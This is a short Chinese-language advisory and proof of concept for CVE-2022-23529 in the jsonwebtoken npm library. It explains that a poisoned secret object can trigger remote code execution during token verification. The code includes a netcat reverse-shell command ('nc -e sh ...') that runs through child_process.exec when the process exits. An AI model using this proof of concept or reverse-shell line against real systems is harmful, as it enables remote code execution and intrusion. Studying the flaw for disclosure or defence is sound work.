CVE-2022-23529

3.4.6、4.0.4 和 4.1.5 之前的 JSON Web Token (JWT) 库版本存在 RCE 漏洞。

HMAC 哈希函数接受任意字符串作为输入，从而导致 RCE。

由于前提条件，该漏洞不太可能被利用。

要利用此漏洞，攻击者需要满足以下条件之一：

• 服务器未安全存储密钥。
• 攻击者需要能够访问并控制密钥。

npm install [email protected]

var jwt = require('jsonwebtoken');

使用服务器密钥创建令牌

var token = jwt.sign({"x":"y"}, 'servers_secret');

创建包含反向 Shell（node.js）的恶意对象

var poisoned_secret_on_server = { 
    toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
        process.on('exit', ()=> {
            require('child_process').exec('nc -e sh 127.0.0.1 9001');
        });
        process.exit(0)
    }
}

服务器使用存储为密钥的恶意对象验证令牌

jwt.verify(token, poisoned_secret_on_server);